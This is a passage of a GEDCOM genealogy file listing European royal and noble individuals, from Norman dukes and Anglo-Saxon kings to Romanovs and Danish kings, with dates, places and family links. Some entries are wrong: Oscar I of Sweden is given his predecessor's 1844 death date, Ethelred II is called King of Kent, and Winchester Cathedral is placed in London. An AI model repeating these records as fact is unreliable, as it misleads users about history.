FAMC @F551@\n0 @I1481@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F552@\n0 @I1482@ INDI\n1 NAME Esme  /Stuart/\n1 TITL Duke Lennox I\n1 SEX M\n1 DEAT\n2 DATE        1583\n1 FAMC @F552@\n0 @I1483@ INDI\n1 NAME Catherine  /Sinclair/\n1 SEX F\n1 FAMS @F553@\n0 @I1484@ INDI\n1 NAME John  //\n1 TITL Duke of Albany\n1 SEX M\n1 BIRT\n2 DATE        1484\n1 DEAT\n2 DATE        1536\n1 FAMC @F1344@\n0 @I1485@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F554@\n0 @I1486@ INDI\n1 NAME Murdoch  //\n1 TITL Duke of Albany\n1 SEX M\n1 FAMC @F554@\n0 @I1487@ INDI\n1 NAME James  /Stewart/\n1 TITL Sir\n1 SEX M\n1 FAMS @F555@\n0 @I1488@ INDI\n1 NAME John  /Stewart/\n1 TITL Earl of Atholl\n1 SEX M\n1 FAMC @F555@\n0 @I1489@ INDI\n1 NAME James  /Stewart/\n1 TITL Earl of Buchan\n1 SEX M\n1 FAMC @F555@\n0 @I1490@ INDI\n1 NAME Andrew  /Stewart/\n1 TITL Bishop of Moray\n1 SEX M\n1 FAMC @F555@\n0 @I1491@ INDI\n1 NAME Janet  /Beaton/\n1 SEX F\n1 DEAT\n2 DATE ABT    1522\n1 FAMS @F556@\n0 @I1492@ INDI\n1 NAME James  /Hamilton/\n1 TITL Earl of Arran II\n1 SEX M\n1 BIRT\n2 DATE        1515\n1 DEAT\n2 DATE        1575\n1 FAMS @F557@\n1 FAMC @F556@\n0 @I1493@ INDI\n1 NAME Margaret  /Douglas/\n1 SEX F\n1 FAMS @F557@\n0 @I1494@ INDI\n1 NAME James  /Hamilton/\n1 TITL 3d Earl of Arran\n1 SEX M\n1 DEAT\n2 DATE        1609\n1 FAMC @F557@\n0 @I1495@ INDI\n1 NAME Blanche of_Artois //\n1 SEX F\n1 DEAT\n2 DATE  2 MAY 1302\n1 FAMS @F558@\n1 FAMC @F786@\n0 @I1496@ INDI\n1 NAME Thomas  //\n1 TITL Earl Lancaster\n1 SEX M\n1 FAMC @F558@\n0 @I1497@ INDI\n1 NAME Henry  //\n1 TITL Earl Lancaster\n1 SEX M\n1 FAMS @F559@\n1 FAMC @F558@\n0 @I1498@ INDI\n1 NAME Maud  /Chaworth/\n1 SEX F\n1 FAMS @F559@\n0 @I1499@ INDI\n1 NAME Henry  //\n1 TITL Duke Lancaster I\n1 SEX M\n1 DEAT\n2 DATE        1361\n1 FAMS @F560@\n1 FAMC @F559@\n0 @I1500@ INDI\n1 NAME Isabel  /de_Beaumont/\n1 SEX F\n1 FAMS @F560@\n0 @I1501@ INDI\n1 NAME Philippa of_Lancaster //\n1 SEX F\n1 BIRT\n2 DATE ABT    1360\n1 DEAT\n2 DATE        1415\n1 FAMS @F561@\n1 FAMC @F452@\n0 @I1502@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 BIRT\n2 DATE        1364\n1 DEAT\n2 DATE        1426\n1 FAMS @F1067@\n1 FAMS @F1068@\n1 FAMC @F452@\n0 @I1503@ INDI\n1 NAME John_I  //\n1 TITL King of Portugal\n1 SEX M\n1 BIRT\n2 DATE        1357\n1 DEAT\n2 DATE        1433\n1 FAMS @F561@\n0 @I1504@ INDI\n1 NAME Alice (Itayls) /Hayles/\n1 SEX F\n1 DEAT\n2 DATE AFT  8 MAY 1326\n1 FAMS @F562@\n1 FAMC @F789@\n0 @I1505@ INDI\n1 NAME Margaret of_Liddell /Wake/\n1 TITL Baroness\n1 SEX F\n1 DEAT\n2 DATE 29 SEP 1349\n1 FAMS @F793@\n1 FAMS @F564@\n1 FAMC @F792@\n0 @I1506@ INDI\n1 NAME Constance of_Brittany //\n1 TITL Duchess\n1 SEX F\n1 DEAT\n2 DATE        1201\n1 FAMS @F563@\n1 FAMS @F771@\n1 FAMS @F772@\n1 FAMC @F770@\n0 @I1507@ INDI\n1 NAME Arthur  //\n1 SEX M\n1 BIRT\n2 DATE        1187\n1 DEAT\n2 DATE        1203\n1 FAMC @F563@\n0 @I1508@ INDI\n1 NAME Berengaria of_Navarre //\n1 SEX F\n1 BIRT\n2 DATE        1163\n1 DEAT\n2 DATE        1230\n1 FAMS @F565@\n1 FAMC @F769@\n0 @I1509@ INDI\n1 NAME Henry the_Lion //\n1 TITL Duke of Saxony\n1 SEX M\n1 DEAT\n2 DATE        1195\n1 FAMS @F566@\n0 @I1510@ INDI\n1 NAME Margaret of_France //\n1 SEX F\n1 DEAT\n2 DATE        1198\n1 FAMS @F567@\n1 FAMC @F766@\n0 @I1511@ INDI\n1 NAME Malcolm_III Canmore //\n1 TITL King of Scotland\n1 SEX M\n1 DEAT\n2 DATE        1093\n1 FAMS @F1020@\n1 FAMS @F568@\n1 FAMC @F1028@\n0 @I1512@ INDI\n1 NAME St_Margaret  //\n1 SEX F\n1 DEAT\n2 DATE        1093\n1 FAMS @F568@\n1 FAMC @F582@\n0 @I1513@ INDI\n1 NAME Edgar  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE ABT    1074\n1 DEAT\n2 DATE        1107\n1 FAMC @F568@\n0 @I1514@ INDI\n1 NAME Alexander_I the_Fierce //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1078\n1 DEAT\n2 DATE        1124\n1 FAMS @F1018@\n1 FAMC @F568@\n0 @I1515@ INDI\n1 NAME David_I the_Saint //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE ABT    1080\n1 DEAT\n2 DATE        1153\n1 FAMS @F1022@\n1 FAMC @F568@\n0 @I1516@ INDI\n1 NAME Mary of_Scotland //\n1 SEX F\n1 FAMS @F589@\n1 FAMC @F568@\n0 @I1517@ INDI\n1 NAME Stephen Henry //\n1 TITL Count of Blois\n1 SEX M\n1 DEAT\n2 DATE        1102\n1 FAMS @F569@\n0 @I1518@ INDI\n1 NAME Theobald  //\n1 TITL Count of Blois\n1 SEX M\n1 DEAT\n2 DATE        1151\n1 FAMS @F763@\n1 FAMC @F569@\n0 @I1519@ INDI\n1 NAME Henry of_Winchester //\n1 TITL Bishop\n1 SEX M\n1 FAMC @F569@\n0 @I1520@ INDI\n1 NAME Alfonso_VIII  //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1155\n1 DEAT\n2 DATE        1214\n1 FAMS @F571@\n1 FAMC @F695@\n0 @I1521@ INDI\n1 NAME Matthew of_Alsace //\n1 TITL Count Boulogne\n1 SEX M\n1 FAMS @F588@\n1 FAMC @F768@\n0 @I1522@ INDI\n1 NAME Eustace_III of_Boulogne //\n1 TITL Count\n1 SEX M\n1 FAMS @F589@\n0 @I1523@ INDI\n1 NAME Isabel de_Warrenne //\n1 SEX F\n1 FAMS @F587@\n1 FAMC @F767@\n0 @I1524@ INDI\n1 NAME Constance of_Toulouse //\n1 SEX F\n1 FAMS @F570@\n0 @I1525@ INDI\n1 NAME Robert the_Devil //\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1035\n1 FAMS @F572@\n1 FAMC @F573@\n0 @I1526@ INDI\n1 NAME Herleva  //\n1 SEX F\n1 FAMS @F572@\n1 FAMS @F585@\n0 @I1527@ INDI\n1 NAME Richard_II of_Normandy //\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1026\n1 FAMS @F573@\n1 FAMC @F574@\n0 @I1528@ INDI\n1 NAME Judith of_Brittany //\n1 SEX F\n1 FAMS @F573@\n0 @I1529@ INDI\n1 NAME Richard_III of_Normandy //\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1028\n1 FAMC @F573@\n0 @I1530@ INDI\n1 NAME Richard_I the_Fearless of_Normandy//\n1 TITL Count\n1 SEX M\n1 DEAT\n2 DATE         996\n1 FAMS @F574@\n0 @I1531@ INDI\n1 NAME Gunnor of_Denmark //\n1 SEX F\n1 FAMS @F574@\n0 @I1532@ INDI\n1 NAME Emma of_Normandy //\n1 SEX F\n1 DEAT\n2 DATE        1052\n1 FAMS @F575@\n1 FAMS @F584@\n1 FAMC @F574@\n0 @I1533@ INDI\n1 NAME Ethelred_II the_Unready //\n1 TITL King of Kent\n1 SEX M\n1 BIRT\n2 DATE ABT     968\n1 DEAT\n2 DATE        1016\n1 BURI\n2 PLAC St. Paul's\n1 FAMS @F580@\n1 FAMS @F575@\n1 FAMC @F710@\n0 @I1534@ INDI\n1 NAME Edward the_Confessor //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE ABT    1002\n2 PLAC Islip,Oxfordshire,England\n1 DEAT\n2 DATE  5 JAN 1066\n1 BURI\n2 DATE  6 JAN 1066\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F576@\n1 FAMC @F575@\n0 @I1535@ INDI\n1 NAME Edith (Eadgyth) //\n1 SEX F\n1 DEAT\n2 DATE 18 DEC 1075\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F576@\n1 FAMC @F577@\n0 @I1536@ INDI\n1 NAME Godwin  //\n1 TITL Earl of Wessex\n1 SEX M\n1 FAMS @F577@\n0 @I1537@ INDI\n1 NAME Gytha  //\n1 SEX F\n1 FAMS @F577@\n0 @I1538@ INDI\n1 NAME Harold_II  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1022\n1 DEAT\n2 DATE 14 OCT 1066\n2 PLAC Hastings\n1 FAMS @F578@\n1 FAMC @F577@\n0 @I1539@ INDI\n1 NAME Edith Swan-neck (Ealdgyth)//\n1 SEX F\n1 FAMS @F813@\n1 FAMS @F578@\n1 FAMC @F706@\n0 @I1540@ INDI\n1 NAME Gytha  //\n1 SEX F\n1 FAMS @F579@\n1 FAMC @F578@\n0 @I1541@ INDI\n1 NAME Vladimir of_Kiev /Monomakh/\n1 TITL Grand Duke\n1 SEX M\n1 DEAT\n2 DATE        1125\n1 FAMS @F579@\n0 @I1542@ INDI\n1 NAME Elfreda (Elfgiva) //\n1 SEX F\n1 FAMS @F580@\n1 FAMC @F697@\n0 @I1543@ INDI\n1 NAME Edmund_II Ironside //\n1 SEX M\n1 DEAT\n2 DATE        1016\n1 FAMS @F581@\n1 FAMC @F580@\n0 @I1544@ INDI\n1 NAME Ealdgyth  //\n1 SEX F\n1 FAMS @F581@\n0 @I1545@ INDI\n1 NAME Edward  /Athling/\n1 SEX M\n1 BIRT\n2 DATE ABT    1016\n1 DEAT\n2 DATE        1057\n1 FAMS @F582@\n1 FAMC @F581@\n0 @I1546@ INDI\n1 NAME Agatha  //\n1 SEX F\n1 FAMS @F582@\n1 FAMC @F699@\n0 @I1547@ INDI\n1 NAME Edgar  /Athling/\n1 SEX M\n1 FAMC @F582@\n0 @I1548@ INDI\n1 NAME Canute_II the_Great //\n1 SEX M\n1 BIRT\n2 DATE ABT     995\n1 DEAT\n2 DATE 12 NOV 1035\n2 PLAC Shaftesbury,England\n1 BURI\n2 PLAC Winchester,Cathedral,London,England\n1 FAMS @F583@\n1 FAMS @F584@\n1 FAMC @F708@\n0 @I1549@ INDI\n1 NAME Elfgiva of_Northampton //\n1 SEX F\n1 FAMS @F583@\n1 FAMC @F707@\n0 @I1550@ INDI\n1 NAME Harold_I Harefoot //\n1 SEX M\n1 BIRT\n2 DATE ABT    1015\n1 DEAT\n2 DATE 17 MAR 1040\n2 PLAC Oxford,England\n1 BURI\n2 PLAC St Clement Danes,London,England\n1 FAMC @F583@\n0 @I1551@ INDI\n1 NAME Sweyn  //\n1 TITL King of Norway\n1 SEX M\n1 DEAT\n2 DATE        1036\n1 FAMC @F583@\n0 @I1552@ INDI\n1 NAME Hardicanute  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE        1018\n1 DEAT\n2 DATE  8 JUN 1042\n2 PLAC Lambeth\n1 BURI\n2 PLAC Winchester,Cathedral,London,England\n1 FAMC @F584@\n0 @I1553@ INDI\n1 NAME Herluin of_Conteville //\n1 TITL Viscount\n1 SEX M\n1 FAMS @F585@\n0 @I1554@ INDI\n1 NAME Odo of_Bayeux //\n1 TITL Bishop\n1 SEX M\n1 DEAT\n2 DATE        1097\n1 FAMC @F585@\n0 @I1555@ INDI\n1 NAME Robert  //\n1 TITL Count of Mortain\n1 SEX M\n1 FAMC @F585@\n0 @I1556@ INDI\n1 NAME Alan_IV of_Brittany /Fergant/\n1 TITL Count\n1 SEX M\n1 FAMS @F586@\n0 @I1557@ INDI\n1 NAME William_II the_Good //\n1 TITL King of Sicily\n1 SEX M\n1 BIRT\n2 DATE        1166\n1 DEAT\n2 DATE 18 NOV 1189\n1 FAMS @F590@\n1 FAMC @F1166@\n0 @I1558@ INDI\n1 NAME Raymond_VI of_Toulouse //\n1 TITL Count\n1 SEX M\n1 FAMS @F591@\n0 @I1559@ INDI\n1 NAME Nicholas  /Koulikovsky/\n1 TITL Colonel\n1 SEX M\n1 BIRT\n2 DATE        1881\n1 DEAT\n2 DATE        1958\n2 PLAC Cooksville,Near Toronto,Ontario,Canada\n1 BURI\n2 PLAC York Cemetery,Toronto,Ontario,Canada\n1 FAMS @F592@\n0 @I1560@ INDI\n1 NAME Tikhon  /Koulikovsky/\n1 SEX M\n1 BIRT\n2 DATE        1917\n1 FAMC @F592@\n0 @I1561@ INDI\n1 NAME Goury  /Koulikovsky/\n1 SEX M\n1 BIRT\n2 DATE        1919\n1 FAMC @F592@\n0 @I1562@ INDI\n1 NAME Andrew  //\n1 SEX M\n1 BIRT\n2 DATE        1897\n1 FAMC @F51@\n0 @I1563@ INDI\n1 NAME Theodore  //\n1 SEX M\n1 BIRT\n2 DATE        1898\n1 FAMC @F51@\n0 @I1564@ INDI\n1 NAME Nikita  //\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 FAMC @F51@\n0 @I1565@ INDI\n1 NAME Dimitri  //\n1 SEX M\n1 BIRT\n2 DATE        1901\n1 FAMC @F51@\n0 @I1566@ INDI\n1 NAME Rostislav  //\n1 SEX M\n1 BIRT\n2 DATE        1902\n1 FAMC @F51@\n0 @I1567@ INDI\n1 NAME Vassily  //\n1 SEX M\n1 BIRT\n2 DATE        1907\n1 FAMC @F51@\n0 @I1568@ INDI\n1 NAME Alexander Alexandrovich /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1870\n1 FAMC @F9@\n0 @I1569@ INDI\n1 NAME Catherine  /Yourievska/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1847\n1 DEAT\n2 DATE        1922\n1 FAMS @F593@\n0 @I1570@ INDI\n1 NAME George  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1913\n1 FAMS @F594@\n1 FAMC @F593@\n0 @I1571@ INDI\n1 NAME Olga  /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1874\n1 DEAT\n2 DATE        1925\n1 FAMS @F595@\n1 FAMC @F593@\n0 @I1572@ INDI\n1 NAME Catherine  /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1878\n1 DEAT\n2 DATE        1959\n1 FAMS @F596@\n1 FAMS @F597@\n1 FAMC @F593@\n0 @I1573@ INDI\n1 NAME Alexandra  /Zarnekau/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1883\n1 FAMS @F594@\n0 @I1574@ INDI\n1 NAME Alexander Alexandrovich /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 FAMC @F594@\n0 @I1575@ INDI\n1 NAME   /von_Merenberg/\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1871\n1 DEAT\n2 DATE        1948\n1 FAMS @F595@\n0 @I1576@ INDI\n1 NAME George  //\n1 SEX M\n1 BIRT\n2 DATE        1897\n1 FAMC @F595@\n0 @I1577@ INDI\n1 NAME Olga  //\n1 SEX F\n1 BIRT\n2 DATE        1898\n1 FAMC @F595@\n0 @I1578@ INDI\n1 NAME Alexander V. /Bariatinsky/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1910\n1 FAMS @F596@\n0 @I1579@ INDI\n1 NAME Andrei  /Bariatinsky/\n1 SEX M\n1 BIRT\n2 DATE        1902\n1 DEAT\n2 DATE        1931\n1 FAMC @F596@\n0 @I1580@ INDI\n1 NAME Alexander  /Bariatinsky/\n1 SEX M\n1 BIRT\n2 DATE        1905\n1 FAMC @F596@\n0 @I1581@ INDI\n1 NAME Serge  /Obelensky/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1890\n1 FAMS @F597@\n0 @I1582@ INDI\n1 NAME Sanchia of_Provence //\n1 SEX F\n1 BIRT\n2 DATE ABT    1225\n2 PLAC Aix-en-Provence\n1 DEAT\n2 DATE  9 NOV 1261\n2 PLAC Berkhamsted\n1 FAMS @F600@\n1 FAMC @F779@\n0 @I1583@ INDI\n1 NAME Beatrix of_Falkenburg //\n1 SEX F\n1 BIRT\n2 DATE ABT    1253\n1 DEAT\n2 DATE 17 OCT 1277\n1 FAMS @F601@\n1 FAMC @F780@\n0 @I1584@ INDI\n1 NAME Frederick_II of_Germany //\n1 TITL Emperor\n1 SEX M\n1 FAMS @F602@\n0 @I1585@ INDI\n1 NAME Alexander_III  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1241\n1 DEAT\n2 DATE        1286\n1 FAMS @F603@\n1 FAMS @F787@\n1 FAMC @F1025@\n0 @I1586@ INDI\n1 NAME John of_Dreux //\n1 TITL Earl of Richmond\n1 SEX M\n1 FAMS @F604@\n0 @I1587@ INDI\n1 NAME Aveline de_Forz //\n1 SEX F\n1 DEAT\n2 DATE 10 NOV 1274\n2 PLAC Stockwell\n1 FAMS @F605@\n1 FAMC @F785@\n0 @I1588@ INDI\n1 NAME Gilbert De_Clare //\n1 TITL Earl Gloucester\n1 SEX M\n1 DEAT\n2 DATE        1295\n1 FAMS @F606@\n0 @I1589@ INDI\n1 NAME Ralph de_Monthermer //\n1 TITL Baron\n1 SEX M\n1 DEAT\n2 DATE        1305\n1 FAMS @F607@\n0 @I1590@ INDI\n1 NAME John_II  //\n1 TITL Duke of Brabant\n1 SEX M\n1 FAMS @F608@\n0 @I1591@ INDI\n1 NAME John_I  //\n1 TITL Count of Holland\n1 SEX M\n1 FAMS @F609@\n0 @I1592@ INDI\n1 NAME Humphrey De_Bohun //\n1 TITL Earl of Hereford\n1 SEX M\n1 FAMS @F610@\n0 @I1593@ INDI\n1 NAME Mary de_Ros //\n1 SEX F\n1 FAMS @F791@\n1 FAMS @F611@\n1 FAMC @F790@\n0 @I1594@ INDI\n1 NAME John_V  /de_Montfort/\n1 TITL Duke of Brittany\n1 SEX M\n1 DEAT\n2 DATE  1 NOV 1399\n1 FAMS @F612@\n1 FAMS @F619@\n0 @I1595@ INDI\n1 NAME Margaret  /Holland/\n1 SEX F\n1 DEAT\n2 DATE 31 DEC 1439\n1 FAMS @F486@\n1 FAMS @F613@\n1 FAMC @F901@\n0 @I1596@ INDI\n1 NAME Anne of_Burgundy //\n1 SEX F\n1 DEAT\n2 DATE 14 NOV 1432\n2 PLAC Paris,France\n1 FAMS @F614@\n1 FAMC @F1049@\n0 @I1597@ INDI\n1 NAME Jacqueline of_Holland //\n1 TITL Countess\n1 SEX F\n1 FAMS @F615@\n0 @I1598@ INDI\n1 NAME Eleanor de_Cobham //\n1 SEX F\n1 DEAT\n2 DATE  7 JUL 1452\n2 PLAC Beaumaris Castle\n1 FAMS @F616@\n1 FAMC @F1048@\n0 @I1599@ INDI\n1 NAME Ludwig_III  //\n1 TITL Elector Palatine\n1 SEX M\n1 FAMS @F617@\n0 @I1600@ INDI\n1 NAME Eric_X of_Pomerania //\n1 TITL King of Denmark\n1 SEX M\n1 FAMS @F618@\n0 @I1601@ INDI\n1 NAME Joan of_Navarre //\n1 SEX F\n1 BIRT\n2 DATE ABT    1370\n2 PLAC Pamplona\n1 DEAT\n2 DATE  9 JUL 1437\n2 PLAC Havering atte,Bower,Essex,England\n1 BURI\n2 PLAC Canterbury,Cathedral,,England\n1 FAMS @F619@\n1 FAMS @F620@\n1 FAMC @F1047@\n0 @I1602@ INDI\n1 NAME William  /Bourchier/\n1 TITL Count\n1 SEX M\n1 DEAT\n2 DATE        1420\n1 FAMS @F621@\n0 @I1603@ INDI\n1 NAME Anne of_Gloucester //\n1 SEX F\n1 FAMS @F913@\n1 FAMS @F621@\n1 FAMC @F491@\n0 @I1604@ INDI\n1 NAME Frederick_II of_Hesse-Cassel //\n1 TITL Landgrave\n1 SEX M\n1 BIRT\n2 DATE        1720\n1 DEAT\n2 DATE        1785\n1 FAMS @F622@\n0 @I1605@ INDI\n1 NAME Elizabeth Christine //\n1 SEX F\n1 BIRT\n2 DATE        1715\n1 DEAT\n2 DATE        1797\n1 FAMS @F623@\n1 FAMC @F624@\n0 @I1606@ INDI\n1 NAME Ferdinand Albert_II of_Brunswick//\n1 SEX M\n1 BIRT\n2 DATE        1680\n1 DEAT\n2 DATE        1735\n1 FAMS @F624@\n0 @I1607@ INDI\n1 NAME Margaret Alice /Bridgeman/\n1 TITL Lady\n1 SEX F\n1 FAMS @F296@\n0 @I1608@ INDI\n1 NAME William  /d'Aubigny/\n1 TITL Earl of Arundel\n1 SEX M\n1 DEAT\n2 DATE 12 OCT 1176\n1 FAMS @F625@\n0 @I1609@ INDI\n1 NAME Henri  /de_Laborde/\n1 SEX M\n1 BIRT\n2 DATE 11 JUN 1934\n2 PLAC Talence,Gironde,France\n1 FAMS @F626@\n0 @I1610@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1968\n1 FAMC @F626@\n0 @I1611@ INDI\n1 NAME Joachim  //\n1 SEX M\n1 BIRT\n2 DATE        1969\n1 FAMC @F626@\n0 @I1612@ INDI\n1 NAME Silvia Renate /Sommerlath/\n1 SEX F\n1 BIRT\n2 DATE 23 DEC 1943\n2 PLAC Heidelberg,Germany\n1 FAMS @F220@\n1 FAMC @F1153@\n0 @I1613@ INDI\n1 NAME Oscar_I  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE  4 JUL 1799\n2 PLAC Paris,France\n1 DEAT\n2 DATE  8 MAR 1844\n2 PLAC Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F627@\n1 FAMC @F628@\n0 @I1614@ INDI\n1 NAME Josephine  /de_Beauharnais/\n1 SEX F\n1 BIRT\n2 DATE 14 MAR 1807\n2 PLAC Milan,Italy\n1 DEAT\n2 DATE  7 JUN 1876\n2 PLAC Stockholm,Sweden\n1 FAMS @F627@\n1 FAMC @F1149@\n0 @I1615@ INDI\n1 NAME Charles_XIV John //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE 26 JAN 1763\n2 PLAC Pau,Bearn,France\n1 DEAT\n2 DATE  8 MAR 1844\n2 PLAC Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F628@\n0 @I1616@ INDI\n1 NAME Desiree  //\n1 SEX F\n1 BIRT\n2 DATE  9 NOV 1777\n2 PLAC Marseilles,France\n1 DEAT\n2 DATE 17 DEC 1860\n2 PLAC Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F628@\n0 @I1617@ INDI\n1 NAME Frederick_VI  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 28 JAN 1768\n2 PLAC Christiansborg,Nr: Copenhagen,Denmark\n1 DEAT\n2 DATE  3 DEC 1839\n2 PLAC Amalienborg\n1 FAMS @F629@\n1 FAMC @F281@\n0 @I1618@ INDI\n1 NAME Marie  //\n1 SEX F\n1 BIRT\n2 DATE 28 OCT 1767\n2 PLAC Hanau\n1 DEAT\n2 DATE 21 MAR 1852\n2 PLAC Amalienborg,Denmark\n1 FAMS @F629@\n1 FAMC @F641@\n0 @I1619@ INDI\n1 NAME Juliana Maria //\n1 SEX F\n1 BIRT\n2 DATE  4 SEP 1729\n2 PLAC Wolfenbuttel\n1 DEAT\n2 DATE 10 OCT 1796\n2 PLAC Fredensborg,Denmark\n1 FAMS @F630@\n0 @I1620@ INDI\n1 NAME Christian_VI  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 10 DEC 1699\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE  6 AUG 1746\n2 PLAC Copenhagen,Denmark\n1 FAMS @F631@\n1 FAMC @F632@\n0 @I1621@ INDI\n1 NAME Sophie Magdalene //\n1 SEX F\n1 BIRT\n2 DATE 28 NOV 1700\n1 DEAT\n2 DATE 27 MAY 1770\n2 PLAC Christiansborg,Denmark\n1 FAMS @F631@\n0 @I1622@ INDI\n1 NAME Frederick_IV  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 21 OCT 1671\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 12 OCT 1730\n2 PLAC Copenhagen,Denmark\n1 FAMS @F632@\n1 FAMS @F633@\n1 FAMC @F634@\n0 @I1623@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE 28 AUG 1667\n1 DEAT\n2 DATE 15 MAR 1721\n1 FAMS @F632@\n0 @I1624@ INDI\n1 NAME Anna Sophie //\n1 SEX F\n1 BIRT\n2 DATE 16 APR 1693\n1 DEAT\n2 DATE  7 JAN 1743\n2 PLAC Klausholm\n1 FAMS @F633@\n0 @I1625@ INDI\n1 NAME Christian_V  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 15 APR 1646\n2 PLAC Flensborg\n1 DEAT\n2 DATE 25 AUG 1699\n1 FAMS @F634@\n1 FAMC @F637@\n0 @I1626@ INDI\n1 NAME Charlotte Amelia //\n1 SEX F\n1 BIRT\n2 DATE 27 APR 1650\n2 PLAC Cassel\n1 DEAT\n2 DATE 27 MAR 1714\n2 PLAC Copenhagen\n1 FAMS @F634@\n0 @I1627@ INDI\n1 NAME Christian_IV  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 12 APR 1577\n2 PLAC Frederiksborg\n1 DEAT\n2 DATE 28 FEB 1648\n2 PLAC Copenhagen,Denmark\n1 FAMS @F635@\n1 FAMS @F636@\n1 FAMC @F268@\n0 @I1628@ INDI\n1 NAME Anne Catherine //\n1 SEX F\n1 BIRT\n2 DATE 26 JUN 1575\n1 DEAT\n2 DATE 29 MAR 1612\n1 FAMS @F635@\n1 FAMC @F1054@\n0 @I1629@ INDI\n1 NAME Christine of_Schleswig- Holstein//\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE  6 JUL 1598\n1 DEAT\n2 DATE 19 APR 1658\n2 PLAC Odense\n1 FAMS @F636@\n0 @I1630@ INDI\n1 NAME Frederick_III  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 18 MAR 1609\n2 PLAC Haderslev,Denmark\n1 DEAT\n2 DATE  9 FEB 1670\n2 PLAC Copenhagen,Denmark\n1 FAMS @F637@\n1 FAMC @F635@\n0 @I1631@ INDI\n1 NAME Sophia Amelia //\n1 SEX F\n1 BIRT\n2 DATE 24 MAR 1628\n2 PLAC Herzberg\n1 DEAT\n2 DATE 20 FEB 1685\n2 PLAC Copenhagen\n1 FAMS @F637@\n0 @I1632@ INDI\n1 NAME Christian_III  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 12 AUG 1503\n2 PLAC Gottorp\n1 DEAT\n2 DATE  1 JAN 1559\n2 PLAC Coldingen\n1 FAMS @F638@\n1 FAMC @F639@\n0 @I1633@ INDI\n1 NAME Dorothea  //\n1 SEX F\n1 BIRT\n2 DATE  9 JUL 1511\n1 DEAT\n2 DATE  7 OCT 1571\n2 PLAC Sonderburg\n1 FAMS @F638@\n0 @I1634@ INDI\n1 NAME Frederick_I  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE  7 OCT 1471\n1 DEAT\n2 DATE 10 APR 1533\n2 PLAC Gottorp\n1 FAMS @F639@\n1 FAMS @F640@\n1 FAMC @F739@\n0 @I1635@ INDI\n1 NAME Anna  //\n1 SEX F\n1 BIRT\n2 DATE 27 AUG 1487\n1 DEAT\n2 DATE  3 MAY 1547\n2 PLAC Kiel\n1 FAMS @F639@\n0 @I1636@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 BIRT\n2 DATE        1498\n1 DEAT\n2 DATE 13 MAY 1568\n2 PLAC Keil\n1 FAMS @F640@\n0 @I1637@ INDI\n1 NAME Christian  //\n1 SEX M\n1 BIRT\n2 DATE        1745\n1 DEAT\n2 DATE        1747\n1 FAMC @F107@\n0 @I1638@ INDI\n1 NAME Sophia Magdalena //\n1 SEX F\n1 BIRT\n2 DATE        1746\n1 DEAT\n2 DATE        1813\n1 FAMS @F1339@\n1 FAMC @F107@\n0 @I1639@ INDI\n1 NAME Caroline  //\n1 SEX F\n1 BIRT\n2 DATE        1747\n1 DEAT\n2 DATE        1820\n1 FAMS @F1340@\n1 FAMC @F107@\n0 @I1640@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1750\n1 DEAT\n2 DATE        1831\n1 FAMS @F641@\n1 FAMC @F107@\n0 @I1641@ INDI\n1 NAME Charles of_Hesse-Cassel //\n1 SEX M\n1 BIRT\n2 DATE        1744\n1 DEAT\n2 DATE        1836\n1 FAMS @F641@\n0 @I1642@ INDI\n1 NAME Christian  //\n1 SEX M\n1 BIRT\n2 DATE        1791\n1 DEAT\n2 DATE        1791\n1 FAMC @F629@\n0 @I1643@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1753\n1 DEAT\n2 DATE        1805\n1 FAMS @F642@\n1 